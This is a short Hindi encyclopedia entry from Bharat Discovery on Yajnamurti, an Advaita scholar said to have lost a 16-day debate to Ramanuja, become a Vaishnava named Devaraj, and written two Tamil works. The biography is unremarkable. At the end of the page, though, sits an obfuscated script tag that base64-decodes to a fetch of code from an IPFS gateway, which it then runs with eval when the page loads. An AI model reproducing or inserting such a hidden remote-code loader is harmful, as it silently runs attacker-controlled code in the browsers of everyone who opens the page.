यज्ञमूर्ति

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

यज्ञमूर्ति एक अद्वैतवादी प्रौढ़ विद्वान, जो रामानुज के समकालीन हुए थे।

  • कहा जाता है कि रामानुज स्वामी की बढ़ती हुई ख्याति को सुनकर यज्ञमूर्ति श्रीरंगम में आये।
  • श्रीरंगम में रामानुज के साथ यज्ञमूर्ति का 16 दिनों तक शास्त्रार्थ होता रहा, परंतु कोई एक दूसरे को पराजित करता हुआ नहीं दिखाई दे रहा था। अंत में रामानुज ने ‘मायावादखण्डन’ का अध्ययन किया और उसकी सहायता से यज्ञमूर्ति को परास्त किया।[1]
  • रामानुज से परास्त होकर यज्ञमूर्ति ने वैष्णव मत स्वीकार कर लिया। तबसे उनका नाम ‘देवराज’ पड़ गया।
  • यज्ञमूर्ति के द्वारा रचित ‘ज्ञानसागर’ तथा ‘प्रमेयसागर’ नामक दो ग्रंथ तमिल भाषा में मिलते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दू धर्मकोश |लेखक: डॉ. राजबली पाण्डेय |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 532 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>